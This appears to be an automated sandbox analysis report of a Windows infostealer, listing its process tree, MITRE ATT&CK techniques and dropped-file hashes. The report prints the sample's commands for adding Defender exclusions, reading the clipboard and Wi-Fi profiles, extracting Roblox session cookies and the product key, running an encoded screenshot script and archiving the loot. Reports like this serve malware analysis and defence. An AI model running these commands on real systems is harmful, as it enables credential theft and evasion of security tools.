C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ .scr'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:4728

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
PID:4664

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
PID:4156

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
PID:1224

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
3⤵
PID:4972

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
4⤵
PID:5272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
3⤵
PID:5064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5264

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
PID:1212

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
PID:5288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:3504

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:5376

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
3⤵
PID:4592

C:\Windows\system32\netsh.exe
netsh wlan show profile
4⤵
PID:5476

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
3⤵
PID:3080

C:\Windows\system32\systeminfo.exe
systeminfo
4⤵
- Gathers system information
PID:5428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
3⤵
PID:1904

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
4⤵
PID:5444

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
3⤵
PID:2288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5420

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4ixxzpbj\4ixxzpbj.cmdline"
5⤵
PID:5984

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF6E.tmp" "c:\Users\Admin\AppData\Local\Temp\4ixxzpbj\CSCB4FEF1ACCBE24C0CB1481C52DBECCDD5.TMP"
6⤵
PID:5144

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:5576

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:5804

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
3⤵
PID:5724

C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
4⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5848

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:5860

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:5996

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
3⤵
PID:5912

C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
4⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:6032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:6060

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:3108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
PID:6084

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
PID:1016

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:1596

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:5176

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:1968

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:1860

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3016"
3⤵
PID:5524

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3016
4⤵
- Kills process with taskkill
PID:4056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3016"
3⤵
PID:5192

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3016
4⤵
- Kills process with taskkill
PID:680

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1876"
3⤵
PID:5620

C:\Windows\system32\taskkill.exe
taskkill /F /PID 1876
4⤵
- Kills process with taskkill
PID:5580

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1876"
3⤵
PID:5720

C:\Windows\system32\taskkill.exe
taskkill /F /PID 1876
4⤵
- Kills process with taskkill
PID:5812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5112"
3⤵
PID:5744

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5112
4⤵
- Kills process with taskkill
PID:5696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5112"
3⤵
PID:5060

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5112
4⤵
- Kills process with taskkill
PID:5860

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1284"
3⤵
PID:5876

C:\Windows\system32\taskkill.exe
taskkill /F /PID 1284
4⤵
- Kills process with taskkill
PID:5384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1284"
3⤵
PID:5332

C:\Windows\system32\taskkill.exe
taskkill /F /PID 1284
4⤵
- Kills process with taskkill
PID:5240

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 912"
3⤵
PID:1408

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:4956

C:\Windows\system32\taskkill.exe
taskkill /F /PID 912
4⤵
- Kills process with taskkill
PID:4696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 912"
3⤵
PID:3108

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:6060

C:\Windows\system32\taskkill.exe
taskkill /F /PID 912
4⤵
- Kills process with taskkill
PID:5988

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
3⤵
PID:1416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5552

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5592"
3⤵
PID:1428

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5592
4⤵
- Kills process with taskkill
PID:5164

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
3⤵
PID:3948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3480

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
3⤵
PID:4744

C:\Windows\system32\getmac.exe
getmac
4⤵
PID:6092

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI37522\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\72OGO.zip" *"
3⤵
PID:5308

C:\Users\Admin\AppData\Local\Temp\_MEI37522\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI37522\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\72OGO.zip" *
4⤵
- Executes dropped EXE
PID:3376

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
3⤵
PID:4480

C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
4⤵
PID:5188

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
3⤵
PID:5804

C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
4⤵
PID:5132

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
3⤵
PID:5756

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
4⤵
PID:5888

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
3⤵
PID:5912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5060

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
3⤵
PID:5064

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
4⤵
- Detects videocard installed
PID:5408

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
3⤵
PID:4328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4168,i,1697479186275492802,18058102846092193784,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:8
1⤵
PID:5592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\bound.exe.log
Filesize
226B

MD5
916851e072fbabc4796d8916c5131092

SHA1
d48a602229a690c512d5fdaf4c8d77547a88e7a2

SHA256
7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

SHA512
07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
35458dc8ec2c4ee9183a3508dd0f94aa

SHA1
01b5d80a70fa27565baa0d7d8eb15227a7264e2d

SHA256
e0dd622ad1a0085cae98391b7d3b96003fd82ded0ced4de080b025776b7191a5

SHA512
a483dccecb7bf55e96689c2f95095013266fb73eb1f340f1e9db2b83b417cf8642a50149e120f20d688294ba26483e0788c887bf4fbd1f5b8595d9bcafa8f914

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
110b59ca4d00786d0bde151d21865049

SHA1
557e730d93fdf944a0cad874022df1895fb5b2e2

SHA256
77f69011c214ea5a01fd2035d781914c4893aee66d784deadc22179eadfdf77f

SHA512
cb55ac6eca50f4427718bace861679c88b2fdfea94d30209e8d61ca73a6ce9f8c4b5334922d2660a829b0636d20cbdf3bae1497c920e604efe6c636019feb10e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
febd8247988dc951f04a0df142e81887

SHA1
6e31b5ac4c7aa2223ce3f3e905c148d0ed5ca557

SHA256
e165d7924bbeb53b228811a16661f817e25005ff587016d83503aef0f0ffcc96

SHA512
92e8eddec55553138d6710b855cd8a295d9953774fb707c237176de6fccdafc56ca97c77118b100b0437cf7ac18f25234d127c2dc01ccbdfac46ab64680c870a

Download Submit
C:\Users\Admin\AppData\Local\Temp\4ixxzpbj\4ixxzpbj.dll
Filesize
4KB

MD5
46e5acf5d78346ef38c24e8d8a13464b

SHA1
22bc9434970d13d709ec69ebc9feceb8789e6899

SHA256
05ea91f729c1abbe48b17889d2115c0c9342b2d53352f9a2cf7e8c56f1a36d5f

SHA512
